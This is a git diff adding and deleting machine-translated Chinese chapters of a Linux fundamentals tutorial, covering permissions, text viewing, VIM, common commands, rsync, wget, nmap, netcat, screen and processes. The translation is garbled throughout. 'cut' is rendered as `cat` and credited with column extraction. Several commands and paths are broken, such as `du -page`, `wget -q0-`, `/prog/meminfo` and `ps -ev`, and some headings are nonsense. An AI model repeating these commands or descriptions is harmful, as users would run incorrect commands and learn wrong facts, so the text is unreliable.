-由于在`project_a`文件夹上只设置了执行权限,并且只为组所有者`project_a`组设置了执行权限,因此只有属于`project_a`组的彼得可以`cd`进入该目录,但是不能列出文件。因此,总是将目录上的执行标志与读取标志结合起来总是一个好主意。`folderC`也是如此。首先,让我们测试一下是否有人能够在这个目录中写入文件: - -```sh -su peter -c 'touch folderC/a-new-file' -``` - -如你所见,没有人能做到。如果您查看文件夹权限,这是因为我们的用户都没有该文件的所有权权限。 - -那么,让我们将用户所有权设置为用户`olip`。仍然没有运气与用户`olip`在`folderC`中创建新文件。这是因为为了在目录中创建新文件,不仅必须在目录上设置写权限,还必须设置执行权限。如果要删除目录中的文件,也是如此。最后,我们如何为所有条目递归地更改整个子目录树的文件和文件夹权限?为了仅用一个命令递归地改变包含在`folderA`中的所有文件和文件夹,使用代表递归的`chmod -R`标志,并且改变作为参数给出的目录中的所有文件和文件夹条目。您也可以将`-R`标志用于变更所有者命令。像往常一样,非常小心递归标志,因为您可能会将文件更改为权限。说到理解 Linux 中的权限,有三件事你需要记住。这三个概念必须从左到右使用。首先,每个文件都有一组用户所有者、组所有者和所有其他用户的权限状态,简称为`u`、`g`和`o`。对于这些类别中的每一个,都存在三种可能的权限状态,读、写和执行,或`r`、`w`和`x`。对于`r`、`w`和`x`,读、写和执行可以分别用八进制数 4、2 和 1 来表示。您想要允许的读取、写入和执行的每个组合都可以由相应的八进制数值的读取、写入和执行的总和来表示。 - -# 使用文本文件 - -在本节中,我们将学习在命令行上打印出文本文件内容的所有重要工具。我们还将学习如何使用文本文件查看器查看文本文件。在 Linux 中,有两种不同的基本文件类型,文本文件和二进制文件。文本文件是配置文件,而二进制文件可以是图像文件或压缩数据文件。文件的编码定义了文件应该被视为文本文件还是二进制文件。文本文件通常使用 UTFR。在 Linux 上,文本文件通常使用 UTF 8 或 ASCII 编码。您可以使用`file`命令检测文件类型,如: - -```sh -file /etc/passwd -file ~file4.tar.gz -``` - -要打印出文本文件的内容,可以使用`cat`命令。`cat`代表 concatenate,这也是命令得名的原因。因此,让我们连接一些文件,并通过重定向`stdout`将结果放入一个新文件中: - -```sh -cat /etc/passwd /etc/grp /etc/services > /tmp/concatenated-file -``` - -这一行将三个文件`passwd`、`group`和`services`连接到`/tmp`目录中一个名为`concatenated-files`的新文件。有时候用`cat`打印出整个文件的内容纯粹是矫枉过正。如果我们只对文件开头或结尾的一些行感兴趣,我们可以使用`head`或`tail`命令来代替。文件的开头有时也称为文件头,而文件的结尾也称为文件尾。要显示新串联文件的第一行`10`,请使用: - -```sh -head /tmp/concatenated-file -``` - -或者,如果您只对我们新文件的最后 10 行感兴趣,请改用: - -```sh -tail /tmp/concatenated-file -``` - -要更改打印前 10 行的`head`和`tail`默认行为,请使用`-n`选项。头尾还有其他非常有用的选项,使用手册页了解更多。一个更重要且经常使用的功能是使用`tail follow`选项。例如,使用`root`帐户的`follow`选项,`-f`标志保持`tail`命令打开,如果新文本被附加到`var/log/messages`文件,tail 将持续监听新文件内容并输出。如果你需要一个永久实时写入的文件的实时视图,这个命令需要记忆。要关闭尾部程序,使用 *Ctrl* + *C* : - -```sh -su root -c 'tail -f /var/log/messages' -``` - -现在,要读取文件的内容,`cat`命令可以用于较小的文件。对于更大的文件,最好使用真实的文本查看器程序,如`less`,它具有一些强大的功能,如搜索、滚动和显示行号。学习如何使用 less 命令导航文本文件也非常有用,因为许多 Linux 命令正在使用 less,也称为 less 导航,来浏览页面或设置的文本内容,我们将在后面看到。要使用较少的资源打开文件,可以使用较少的资源,然后使用文件名作为参数。你也可以直接使用`stdout`,除非使用管道,这非常有用,这样我们可以轻松导航和滚动更大的命令输出,这不适合屏幕。少导航非常简单,应该记住,因为你会在你的 Linux 职业生涯中大量使用它。还有很多要学的。阅读 less 命令的手册页,查看所有可用选项。 - -许多运动动作可以通过以下方式完成: - -* 要向下滚动一行,可以使用箭头键或 *J* 键。在这里,我们将只向您展示这些键盘选项中的一个。 -* 要退出 less 命令,请使用 *Q* 键。 -* 大写的 *G* 滚动到文件结尾,小 G 滚动到文件开头。 -* *向下箭头*键逐行向下滚动。 -* *向上箭头键*逐行向上滚动。 -* 按下*向下翻页*键向下滚动一页,按下*向上翻页*键向上滚动一页。 -* 按右箭头键向右滚动较长的行;要向左滚动,请使用左箭头键。 -* 按 *Ctrl* + *G* 在页面底部显示文件信息。 -* 按*返回*键退出文件信息栏。 -* 键入斜杠键后跟搜索词,例如`HTTP`,并按下*返回*键,使用正向搜索在文件中搜索关键字`HTTP`。 -* 按下 *n* 键将跳转到下一个搜索结果。按下大写 *N* 键将跳回到搜索结果的最后一种形式。 -* 请注意,如果搜索模式全部为小写,则搜索不区分大小写;否则,它区分大小写。例如,如果您搜索单词`HTTP`都是大写字母,它只会找到模式,这些模式正好具有区分大小写形式的 HTTP。 -* 现在,按大写 *G* 跳到文件的末尾。 -* 使用正斜杠键的普通搜索从上到下搜索文件中的关键字。 -* 如果您想反过来搜索关键字,从下到上,您可以使用问号运算符、问号键,然后是关键字。 -* 按下 *n* 键跳转到文件中下一个更高的搜索结果。按大写 *N* 跳转到搜索结果的最后一种形式。 -* `Less -N`在行号模式下开始较少,这意味着每一行都以对应的行号为前缀。 -* 要转到特定的行号,例如第 100 行,请键入行号,后跟一个`g`,或者要转到行号`20`,请键入`20g`。 -* 要查看文本文件而不编辑它,您也可以使用 VIM 编辑器。 -* 要以只读模式启动 VIM,请键入视图空间,然后键入文件。 -* 我们将在下一节继续使用 VIM 编辑器。 - -# 使用 VIM 文本编辑器 - -在这一节中,我们将学习如何安装改进的 vi,简称 VIM,文本编辑器。我们还将学习使用 VIM 的所有基础知识。你能想象到的最简单的文本编辑器是,这将创建一个包含内容`lorem ipsum dollar sit`的新文件`my-lorum-file`,或者你可以使用`cat`命令交互式地创建一个新的文本文件,如下所示 - -```sh -Another Line -this is the third line -EOF -``` - -使用大写的字符串`EOF`停止写入该文件。现在`echo`和`cat`命令非常有用,如果你需要创建只有几个单词或几行文本的文本文件。如果你需要编辑更大的文本文件,或者想要自己编写文件,例如,项目的 read-me 文件,最好使用真实的文本编辑器。Linux 中可用的文本编辑器之一是 viM,或 VI 改进版,这是一个非常强大的文本编辑器,适用于每个 Linux 发行版。它允许无鼠标文本编辑,一旦你熟练使用 VIM,你就可以真正开始以思维的速度输入或编辑文本文件。但是掌握 VIM 可能需要几个月甚至几年的时间才能真正掌握好,因为 VIM 是一个非常复杂的编辑器,有很多不同的快捷方式和功能。因此,我们不能在这一部分向您展示所有内容,而只能介绍让您快速开始使用 VIM 的基础知识。 - -viM 是 VI 的改进版本,并且与 70 年代开发的 UNIX 文本编辑器完全兼容。在 CentOS 7 最小安装中,默认情况下不安装 VIM。所以,让我们从安装 VIM 编辑器`- su root -c 'yum install vim -y'`开始。您可以打开 VIM,将文件名作为参数打开,也可以不打开,稍后保存文件名。VIM 最基本的概念是它的模式。有三种不同的模式。插入模式、命令或正常模式以及 ex 模式。下面的截图显示了不同的模式: - -![](img/de5683ce-09ec-46f8-89b4-48320eb698f3.png) - -当您打开 VIM 时,您可以在正常或命令模式下启动。每种模式下,您都可以通过按下 *Esc* 键返回正常模式。如果你不知道自己目前处于哪种模式,这非常有用。只需按下 *Esc* 键,您始终处于正常模式。从那里,您可以切换到插入或 ex 模式。有几个键可以启动插入模式。按下 *i* 或 *o* 键将从命令或正常模式进入插入模式,您可以开始键入文本。如果您已经完成文本输入,或者您想要执行另一个正常模式命令或`ex`命令,请按 *Esc* 键返回正常模式。从那里,如果你按下冒号键,你进入 ex 模式。从那里,按下*返回*或 *Esc* 键,返回正常模式。插入模式用于键入或插入文本。在插入模式下,每一次按键都会在编辑器的屏幕上打印出来。如果您想要导航光标或在文件中执行复制和粘贴、删除行、文本搜索或撤消、重做等操作,则需要切换到正常模式。在正常模式下,每次按键都是一个命令。Ex 模式用于执行`ex`命令,例如跳转到文件中的某一行,或者替换整个文件,或者替换整个文件中的文本。 - -现在,我们将实际开始与 VIM 合作。首先,要退出编辑器,在正常模式下按以下顺序,按`:q!`然后按*返回*键。如果你不在正常模式,比如你在插入模式,那么你首先要按 *Esc* 键,然后是`:q!`,然后按*返回*键退出 VI。现在,让我们用`/etc/services`文件再次打开 VIM。 - -让我们首先讨论基本的光标移动命令。光标移动命令只能在正常模式或命令模式下完成,这是启动 VIM 时的默认模式。如果您处于另一种模式,如插入模式,按下 *Esc* 键进入正常模式。现在,要移动光标,您可以使用各种键盘快捷键: - -* 要向右移动光标,使用 *l* 键 -* 要向左移动光标,使用 *h* 键 -* 要向下移动光标,使用 *j* 键 -* 要向上移动光标,使用 *k* 键 -* 您也可以使用箭头键来执行前面的操作 -* 要将光标移动到一行的末尾,按下 *$* 键 -* 要将光标移动到一行的开头,按下 *0* 键 -* 要将光标向前移动一个单词,请使用 *w* 键 -* 要将光标向后移动一个单词,请使用 *b* 键 -* 要跳到文档的结尾,请使用大写 *G* 键,这也是少文本文件查看器中跳到文档结尾的相同键 -* 跳到文档类型的开头`gg` -* 这也类似于 less 命令,您使用小`g`一次跳转到文档的开头 -* 要跳转到某个行号,请键入行号;例如,第 100 行,后面跟着一个大写的 *G* -* 在 VI 编辑器中搜索文本模式与在较少文本查看器中搜索文本基本相同 -* 使用/关键字,然后按 return 键开始正向文本搜索 -* 按小 *n* 跳转到下一个搜索结果 -* 按大写 *N* 跳转到上一个前一个搜索结果 -* 要开始向后搜索,首先按下大写 *G* 到文档末尾,然后使用熟悉的问号关键词进行搜索,并按下*返回*键从下向上开始文本搜索 -* 按 *n* 跳转到下一个更高的搜索结果,按 *N* 跳转到文本文档底部的下一个更低的搜索结果 -* 现在,再次跳到文件的开头 - -在正常模式下,一个非常有用的功能是在特定的线设置标记以供参考。例如,首先转到行域。要将标记设置到特定行,请键入字符`m`,然后键入从 a 到 z 的另一个字符。例如,键入`ma`。这会创建一个由行中的字符 a 引用的新标记,该标记从域开始。在以 domain 开始的当前行中,如果我们转到该文件中的不同位置,例如,逐页向下滚动,然后如果我们现在使用 tick 字符后跟代表我们标记的字符,例如`'a,`,我们将跳回到我们设置参考标记`a`的行。如前所述,您可以设置从 a 到 z 的多个标记,所以让我们添加另一个标记。去另一条线,比如安全线。现在,我们将使用`b`作为我们的标记。让我们创建一个标记,键入`mb`。现在,如果您转到文件中的不同位置,如 fido 行,只需键入`'b`即可滚动回 saft 行。键入`'a`返回到域线。就这么简单。 - -现在,我们已经学习了正常或命令模式下的基本移动命令,现在让我们切换到正常模式下学习一些删除命令。在正常模式下,按下 *x* 键将删除光标下的字符。按两次`dd`键删除一行,并将删除的文本放入复制缓冲区。d 键也可以与其他键组合使用,以实现高效的文本删除。使用`dw`删除光标下的当前单词。您甚至可以将`dw`命令与一个数字组合起来,例如删除接下来的五个单词类型`5dw`。你已经知道,为了跳到行尾,你使用 *$* ,为了跳到行首,你使用 *0* 。如果要从当前光标位置删除到行尾使用`d$`。另一方面,如果要从当前光标位置删除到行首,使用`d0`。 - -现在,让我们看看删除文本的撤销和重做命令。u 键撤销最后一次更改。对于您执行的每个撤消步骤,您也可以使用 *Ctrl* + *R* 执行相应的重做步骤。现在复制粘贴命令,只需复制粘贴完整的线型`yyp`。要复制多行,首先标记所有要复制的行。为此,按 *Shift* + *V* 开始您的标记,然后按向下或向上箭头键选择您想要复制的所有行。现在,按 *y* 键复制你的文字,然后按大写 *P* 插入你复制的文字。 - -您也可以剪切文本。为了剪切文本行,首先用大写 *V* 标记你的文本。现在,不要使用 *y* 键来猛拉或复制文本,而是按下大写 *C* 键来剪切文本。请注意,剪切文本将使您进入插入模式。要粘贴文本,需要回到正常模式;所以,现在按下 *Esc* 键。要将文本粘贴到其他地方,请使用大写 *P* 键。 - -现在,我们已经讨论了普通或命令模式下的所有基本命令,让我们转到插入模式。从正常模式到插入模式有几种方法。正常情况下,进入插入模式,可以使用小 *i* 和小 *o* 和大写 *O* 键。按小 *o* 在光标后进入插入模式的同时插入新的一行。按大写 *O* 在光标前进入插入模式的同时插入新的一行。按下 *i* 将直接在光标后进入插入模式,无需插入新行。 - -最后,我们来讨论一下`ex`命令。让我们首先对文件进行一些更改。现在,为了执行`ex`命令,我们首先需要进入正常模式,从插入模式按下 *Esc* 键,然后按下冒号键开始键入`ex`命令。例如,要写入文件,请键入`w`。这会将您的更改写入并保存到文件中。也可以使用`:`输入`ex`命令,然后按`wq`编写并退出 VIM 编辑器。 - -现在,让我们再次打开 VIM。离开编辑器,按`:q`并按*返回*键。如果您没有进行任何更改,这将离开编辑器。现在回到 vi 编辑器。使用`q ex`命令并按下 return 键只有在您没有对文件进行任何更改的情况下才有效。让我们改变文件。现在,如果您想在对文件进行一些更改时离开编辑器,使用 ex 命令`q`将通知您即将离开编辑器,而不保存您的更改。所以如果你想退出编辑器而不保存修改,只需输入`:q!`。现在,从终端返回到服务文件。另一个非常有用的 ex 命令是在 vi 编辑器中执行命令行命令。这可以通过使用`ex`命令感叹号,然后在命令行上执行您想要执行的命令来完成,例如`ls`。这将切换到命令行,并向您显示结果;然后如果你按回车键,你回到编辑器。另一个非常有用的 ex 命令是`sh`命令。当虚拟仪器仍在后台运行时,输入`sh`作为`ex`命令将切换到命令行。在这里,您可以像通常在命令行上一样执行命令。如果您已经完成了对命令行的操作,您可以通过键入`exit`返回到 VIM 编辑器。 - -为了搜索和替换一个单词,VIM 为我们提供了一种类似集合的替换模式: - -1. 如果要在整个文件中用单词`hello world`替换单词`echo`,请使用以下命令: - -```sh -:%s/echo/HELLOWORLD/g -``` - -2. 要启用行号模式,请键入`set number`。 -3. 要转到特定行,请在 ex 模式下键入数字行。 -4. 要离开号码模式,输入`set nonumber`。 -5. 要在 VIM 中打开不同的文件,请键入`e`,然后键入文件名。 -6. 要以不同的名称保存文件,请键入`w`,然后键入不同的文件名,例如`my-test-file`。 - -# 摘要 - -在这一章中,我们已经广泛介绍了 Linux 文件系统,其中我们讨论了文件链接、文件搜索、文件权限、用户和组以及 VIM 文本编辑器。我们还研究了每个概念的功能。 - -在下一章中,我们将介绍如何使用命令行。 \ No newline at end of file diff --git a/docs/fund-linux/4.md b/docs/fund-linux/4.md deleted file mode 100644 index b01b9492..00000000 --- a/docs/fund-linux/4.md +++ /dev/null @@ -1,278 +0,0 @@ -# 四、使用命令行 - -在本章中,我们将学习每个 Linux 用户应该知道的更多基本命令,然后我们将学习如何安装其他重要的第三方 Linux 程序。我们还将学习过程和信号,向您介绍 Bash shell 脚本,最后,向您展示如何自动执行您的 Bash shell 脚本。 - -我们将涵盖以下主题: - -* 基本的 Linux 命令 -* 附加程序 -* 理解过程 -* 信号 -* 使用 Bash Shell 变量 -* Bash shell 脚本 - -# 基本的 Linux 命令 - -在本节中,我们将学习每个 Linux 用户都应该知道的更基本的 Linux Bash 命令。使用`cat`命令快速从文本文件中剪切列。这就像一个轻型版的 awk。 - -我们将讨论以下命令: - -* `cat` -* `sort` -* `awk` -* `tee` -* `tar` -* 其他杂项命令 - -首先,让我们创建一个更小版本的`passwd`文件来使用`cat`命令: - -![](img/88408c56-6030-42df-ae10-e606d5343a63.png) - -`-d`设置字段分隔符;默认情况下,它是制表符。`-f`使用要提取的单个字段编号或逗号分隔的字段编号列表。如果也使用逗号分隔列表,将输出分割输入分隔符,可以使用`-- output-delimiter`进行更改。 - -接下来,让我们创建一个没有注释和空行的较小版本的`services`文件。使用`cat`命令仅限于文件分隔符是单个字符的特殊情况,如冒号或制表符。对于将文本文件拆分为多个连续的空白字符,这在 Linux 配置文件中经常使用,例如在`/etc/services`文件中,`cat`命令不起作用。另外,在使用`cat`命令时,每一行的字段顺序必须固定,否则会遇到问题。 - -在下面的截图中,可以看到`services`文件不包含制表符分隔符,而是多个用星号标记的空白字符: - -![](img/3d5e6dd5-5e05-4a45-a30d-19eb05bf2635.png) - -如果在这个文件上使用`cat`,只会产生垃圾。若要分割具有多个连续空格的文件,请改用`awk`。`tr`命令就像是设定替代模式的轻量级版本或子集。它将字符集一转换为字符集二,从`stdin`读取并输出到`stdout`。语法是不言自明的。您可以翻译单个字符和字符范围。字符集类似于 POSIX 正则表达式类;阅读手册了解更多信息。 - -我们来讨论一下`sort`命令。`sort`命令对文本文件进行逐行排序。默认情况下,它会考虑整行进行排序。`-u`旗只打印出唯一的字段。如果我们取一个有数字而不是字母数字值的文件,默认情况下,`sort`需要字母数字值,所以数字的排序是错误的或者不自然的。要解决这个问题,请使用`-n`选项,该选项使用数字进行排序。要从下向上排序值,请使用`-r`标志。如果需要,也可以影响排序列。`sort`始终考虑整条线。要解决此问题,请使用`-k 2.2`选项按第二列排序。还有很多排序选项。请参考手册了解更多信息。 - -现在,为了结合`cat`或`awk`、`sort`和`unique`的力量,让我们一起使用这些工具从`/etc/services`文件中打印 10 个最常出现的服务名称,同时忽略注释和空行: - -![](img/bc2915cf-f480-4875-a2cc-c8450e975445.png) - -第二个命令现在应该很容易理解了。如您所见,`discard`、`exp1`和`exp2`是`/etc/services`文件中最常出现的服务名称,出现了四次。要计数文件中的所有行,请使用`wc`进行字数统计。要从路径中提取纯文件名,请使用`basename`命令,该命令通常在脚本中使用,我们将在后面看到。如果知道文件的扩展名,也可以使用`basename`命令从扩展名中提取文件名。同样,要提取路径名,使用`dirname`命令。要测量命令所需的时间,请在命令的前缀上加上`time`命令。要比较两个文件,请使用`diff`命令,该命令将打印一个空输出。如果这些文件相同,将不会有输出。否则,将显示文件之间的更改。`diff`命令也可以用于比较两个目录,一个文件接一个文件,使用递归标志,它将遍历来自 A 的所有文件,并将它们与文件夹 B 中同名的来自 B 的相应大小的文件进行比较。可以用于打印出文件系统中特定命令所在位置的命令基于`/path`变量,我们将在后面看到。 - -`tee`是一个有用的命令,可以用来在文件中存储一个`stdout`命令,也可以在命令行上打印出来。它有助于记录输出,同时还能看到正在发生的事情。给`tee`命令一个你想写的文件名作为参数。要压缩单个文件,也就是减小文件大小,使用`gzip`。要解压缩,使用`gunzip`命令。 - -要压缩一个完整的子目录,递归使用`tar`命令。请注意,`f`选项必须是最后一个选项,后跟您要创建的归档名称作为第一个参数,然后是您要归档和压缩的目录作为第二个参数。要将归档文件提取到以下任何目录,请使用带有以下标志的`tar`命令,`-C`是输出目录。`hostname`打印出主机名;`uptime`打印服务器电脑开机多长时间,`uname`打印内核版本等系统信息。 - -在`/etc/redhat-release`文件中,你会找到这款 CentOS 7 所基于的红帽企业版。在`/prog/meminfo`文件中,你会找到内存信息,比如你有多少 RAM。在`/proc/cpuinfo`中,你可以找到关于你的处理器和内核的信息。`free -m`打印出有用的内存信息,比如你有多少空闲内存。`df`打印出可用磁盘空间的信息。`du -page`打印出当前目录下文件占用的空间。如果配合`max-depth=1`选项使用,还会得到文件夹内容的摘要。`users`打印出当前登录系统的所有用户。`whoami`命令打印当前使用该终端的用户的姓名。 - -现在,我们将看到一些非常有用的命令。要打印当前日期和时间,使用`date`命令。使用`+%s`生成唯一的时间戳。要打印日历,请使用`cal`命令。要暂停,使用`sleep`命令中断 shell 执行。`dd`程序,或磁盘转储,是每个 Linux 用户都需要知道的非常重要的工具。它用于将数据从输入文件或设备复制到输出文件或设备。在第一部分中,我们已经使用了`dd`来用零覆盖文件系统的空闲空间,这样我们就可以收缩我们的虚拟机映像,但是`dd`命令还有很多用例。`dd`基本语法使用输入文件的`if`和输出文件的`of`作为参数。此外,两个选项非常重要,块大小和计数。 - -您将看到块大小,这意味着一次读取的数据量是 1 MB,计数是块大小的重复量,因此,在我们的示例中,1 MB 乘以 1,024 正好等于 1 GB。`dd`还支持从`stdin`读取和向`stdout`写入,这样我们刚才使用的命令就可以重写为`dd if=/dev/zero of=/tmp/1gig_file.empty bs=1M count=1024`。您不仅可以将`dd`用于设备文件,还可以复制普通文件。此外,您可以使用它来创建整个分区的映像,例如,用于备份。要访问分区,需要根帐户。 - -# 附加程序 - -在本节中,我们将向您展示一些您不想错过的其他非常重要的 Linux 命令。这些程序不包括在 CentOS 7 最小安装中,因此我们首先需要安装它才能安装它们。这一部分是关于学习额外的命令行程序。附加由于这些工具不包含在 CentOS 7 的最小安装中,所以让我们首先使用 CentOS 7 软件包管理器`yum`安装所有这些程序。为了安装新软件,需要根用户。所以,首先以`root`身份登录。在我们开始之前,让我们安装`epel`存储库,这是一个额外的第三方软件存储库,在官方的 CentOS 7 源代码中找不到,但是非常可信和安全。 - -首先,让我们安装一些工具,让我们的用户生活更轻松。`rsync`是文件传输程序,`pv`是管道查看器;`git`为版本控制;`net-tools`包含显示网络信息的工具;`bind-utils`包含查询 DNS 信息的工具;`telnet`和`nmap`为基本网络故障排除;`nc`代表网猫,`wget`用于从互联网下载文件;而`links`是一款命令行网页浏览器。 - -接下来,让我们安装一些程序,让您对系统有一种生活的看法。这将安装`htop`、`iotop`和`iftop`。最后,让我们安装一些必要的工具,它们是屏幕、计算器、`bc`和`lsof`。首先介绍一下`rsync`。每个 Linux 用户都需要知道它,因为它是一个很棒的工具,有很多有用的特性。基本上,`rsync`是一个文件传输程序,但它不是简单地在一个源和目的地之间复制文件;相反,它会同步它们,这意味着只有当源文件不同于目标 qfile 时,它才会传输文件。这节省了大量的数据开销和时间。我经常使用带有`-rav`标志的`rsync`,这是默认的用一组公共参数来冗长递归地复制文件。 - -`cp`将`olip-home`文件夹递归复制到新位置。现在,如果您更改源文件,然后重新开始复制过程,`rsync`首先检查源文件和目标文件是否有任何差异,并且只传输更改: - -![](img/a9ee4c73-daff-4518-9f4f-823242a6af94.png) - -如前面的截图所示,我们触摸`olip-home`目录中的`bashrc`文件,这意味着更新文件的时间戳,然后`rsync`检查并看到`bashrc`文件有一个更新的时间戳,因此文件会因为不同而再次传输到目的地。要将文件远程复制到运行 SSH 服务的另一台服务器,并且安装了`rsync`,请使用以下语法:`rsync -rav`。如您所见,IP 地址末尾的冒号是目的地的开头。在这里,我们将把`olip-home`目录复制到`/tmp`目录,反之,使用`rsync .rav /home/olip/ /tmp/new-olip-home`把远程文件复制到本地服务器。`rsync`有很多不一样的功能,就是牛逼。您可以参考手册了解更多信息。我经常使用的有用工具的另一个例子是`-- progress`标志,它向您显示文件传输的进度。`pv`是管道查看器,这是一个非常有用的程序,可以通过`stdout`显示流量。例如,我们可以在管道传输大量数据流时使用它来显示进度,例如,使用`dd`命令。`git`是一个用于文件版本控制的程序,它可以帮助您跟踪您的文件版本,也可以用于安装来自 Git 存储库的程序,例如非常流行的 GitHub 服务。例如,我们可以使用以下命令下载最新的`pv`源代码:`$ git clone https://github.com/icetee/pv.git`。 - -# 网络工具 - -`net-tools`是显示网络相关信息的重要工具集合,如打印网络信息的`netstat`或查看 IP 路由表的`route`命令。我们刚刚安装的`bind-utils`包含了浏览 DNS 信息的程序,比如查看某个域上某个端口是否打开,比如[https://www.google.com](https://www.google.com)上的端口`80`;您将获得一些连接细节。键入 *Esc* 键退出。`wget`是每个系统管理员需要了解的最基本的工具之一。它可以用来从网上下载文件。例如,要从 HTTP 下载一个随机编程命令到`stdout`,使用下面的命令行:`wget -q0- http://whatthecommit.com/index.txt`,或者直接将下面的内容键入一个新文件:`wget -0 /tmp/output.txt http://whatthecommit.com/index.txt`。 - -# Nmap(消歧义) - -Nmap 是另一个非常有用的工具,可以用来排除故障或获取网络信息。它扫描计算机网络,发现并收集与它相连的其他主机的各种信息。请注意,端口扫描网络是一个非常有争议的话题;既然不当使用`nmap`会让你被起诉、被开除、被你的国家禁止,甚至被关进监狱,我们在这里只会用它来检索关于我们自己的私人网络的非常有价值的信息。例如,要扫描网络中所有可用的主机和开放端口,请使用语法:`nmap`网络地址。 - -您将看到很少有可用的 IP 地址具有开放的各种端口和服务。这可以为您提供关于谁连接到您的网络以及服务和计算机是否安全的非常重要的信息,并且不会暴露不需要的细节。`nc`或者 netcat 是另一个非常有用的工具,可以帮助您调试和排除服务器的网络和防火墙设置的故障。例如,您可以使用它来查看服务器上的某个端口是否打开。在服务器上,您想要验证用途,例如,以下命令用于打开端口`9999`,并在该端口后面放置一个文本文件流:`nc -l -p 9999 < /etc/redhat-release`。在该网络中的任何其他服务器上,您可以尝试访问该服务器,例如,使用 IP 地址`197`,然后使用端口`9999`上的 IP 地址`192.168.1.1.200`,并使用以下`nc`命令将该文件流回:`nc 192.168.1.200 9999 > /tmp/redhat-release`。 - -# 链接 - -在这一小节中,我们将学习`links`——命令行网络浏览器。要使用链接程序打开 DuckDuckGo 搜索网站,请使用以下命令行:链接[https://duckduckgo.com/](https://duckduckgo.com/)。这将打开链接网页浏览器。上下移动光标,到达 DuckDuckGo 文本搜索栏。现在,您可以像在普通的 DuckDuckGo 网站上一样输入您的搜索词,然后按*回车*键开始搜索。再次使用向上和向下箭头键跳转到您想要浏览的搜索结果。学习链接导航和快捷方式超出了本书的范围。阅读手册以了解更多信息。按 *q* 键退出链接,然后按*键进入*键确认选择。 - -# iotop - -要实时查看系统的输入输出或短输入输出带宽使用情况,请键入`iotop`。iotop 需要从根用户开始。你可以使用`iotop`,例如,了解你的硬盘读写速度,然后按 *q* 键退出。阅读`iotop`的手册部分,了解更多关于它的快捷方式,例如,分类栏。 - -# iftop - -让我们了解一下`iftop`程序,它可以实时查看网络流量和网络带宽使用情况并进行监控。同样,该工具需要从根用户帐户开始。可以看到,网络流量可以用这个工具显示,按 *q* 键退出程序。阅读`iftop`手册部分,了解更多快捷方式。 - -# 快上来 - -现在,让我们开始`htop`,它类似于著名的顶级程序,以交互方式查看流程。`htop`是普通 top 程序的改进版本,它增加了垂直和水平滚动等新功能,这样您就可以看到系统上运行的所有进程以及完整的命令行。`htop`程序向您展示了许多关于您的系统的不同信息。按下 *q* 键退出程序。有很多不同的捷径选择可以学习;阅读手册以了解更多信息。 - -# lsof - -要打印出所有打开文件的列表,这意味着程序正在访问文件,使用`lsof`命令。你会得到一个长长的清单;最好用它搭配`grep`来过滤内容。要在命令行上快速进行一些数学计算,请使用电脑计算器。`screen`是一个非常有用的命令,可以从 SSH 连接中分离,而无需实际断开或退出,这对于暂停您的工作并稍后返回到您离开的确切位置,或者从另一台计算机上工作非常有用。这可以节省大量时间。首先,要创建新的可拆卸会话,请键入`screen`。现在做你的工作,例如,在 VI 中键入一个文本。现在,想象你一天的工作结束了,你回家了。没有屏幕,您现在需要保存您的更改,关闭虚拟仪器,并从服务器注销。有了屏幕,只需使用组合键*Ctrl*+*A*+*D*即可脱离当前 SSH 会话。如果您已成功脱离会话,将出现一行显示`detached from`,然后是屏幕会话标识。现在,为了证明我们可以重新连接到该会话,只需从服务器注销,然后重新登录到服务器。然后,回到服务器类型屏幕列表,获取所有分离屏幕的列表。要重新连接到您的屏幕,请使用屏幕标识:`$ screen -r 23433.pts-l_localhost`。正如你所看到的,我们完全回到了我们停止的地方。如果您想停止屏幕会话,请键入`exit`。在这里,我们向您展示了这些程序最基本的用例。 - -# 理解过程 - -在本节中,我们将向您展示进程在 Linux 中是如何工作的。现在,让我们讨论关于过程的一切。Linux 系统中当前运行的每个程序都称为进程。一个单独的程序可以由多个进程组成,并且该进程可以启动其他进程。例如,正如我们已经知道的,Bash shell 本身是一个命令,因此,当启动时,它得到一个进程。您在此 shell 中启动的每个命令都是由 shell 进程启动的新进程。因此,例如,每次我们执行`la -al`命令时,Bash shell 进程都会创建一个运行`ls -al`命令的新进程。在每个 Linux 系统上,有许多进程一直在运行。如果你有一台多处理器的中央处理器计算机,其中一些进程实际上一直在并行运行。其他进程,或者如果你有一个单处理器的 CPU,只半并行运行,这意味着每个进程只在 CPU 上运行几毫秒,然后暂停,这也称为被置于睡眠状态,所以系统可以在一小段时间内执行下一个进程。这个系统允许所有进程看似并行地执行,而实际上它们是一个接一个地按顺序处理的。 - -Linux 系统中的所有进程都是由另一个进程创建的,因此每个进程都有一个创建它的父进程。只有第一个进程没有父进程,在 CentOS 7 中是`systemd`进程。要获得所有运行进程的列表,运行`ps`命令。在这里,我们将它与`-ev`选项一起使用,并将其输出导入`less`命令,因为它不适合屏幕。您将看到每个进程都有一个唯一的标识符,它被称为进程标识符,简称 PID。第一个过程,系统化过程,PID 为 1。接下来的几个是按顺序递增的。每个进程都有一个关联的用户标识,并且每个进程都有一个由父进程标识列表示的父进程。您会注意到列表中的前两个进程的父进程 PID 为 0,这意味着它们没有父进程。 - -为了更好地理解父子流程关系,可以使用`pstree`命令,我们首先需要使用`psmisc`包安装该命令。完事后,才启动`pstree`命令。有了它,您可以更好地理解哪个父进程创建了哪个子进程,以及进程之间的关系。如前所述,systemd 进程是系统中的第一个进程,它创建了系统中的所有其他进程。每个过程也有一个状态;键入`man ps`并转到状态部分。最重要的州是`running`。这意味着进程当前正在运行,将由 CPU 执行,或者在运行队列中,这意味着它即将启动。你会看到`sleeping`如果流程执行中断,偏向等待队列中的下一个流程,或者`stopped`,甚至`defunct`或者`zombie`,这意味着流程终止,但是父流程还不知道。 - -正如我们在上一节中了解到的,您还可以使用`top`或`htop`命令来获得系统中进程的动态或实时视图。状态列显示进程的状态,`r`代表运行,`s`代表睡眠,以此类推。如果创建了一个新的进程,父进程将被完全克隆或复制到子进程,因此它具有与父进程完全相同的数据和环境。只有 PID 会不同,但是父进程和子进程是完全独立的。 - -# 克隆 - -克隆一个进程在 Linux 中也叫做**分叉**。例如,如果您执行一个命令,例如 shell 中的`sleep`命令,将创建一个与父 Bash shell 进程相同的新进程,在父 Bash shell 进程中执行`sleep`命令。通常,父进程,在我们的例子中是 Bash shell 进程,会一直等到子进程完成。这就是为什么只要您的子流程在运行,您就不会得到交互式光标。这是您在 shell 中运行的每个命令的正常行为。如果您的 Bash 命令行提示被阻止,这也称为运行前台作业。要终止该前台作业,请按 *Ctrl* + *C* 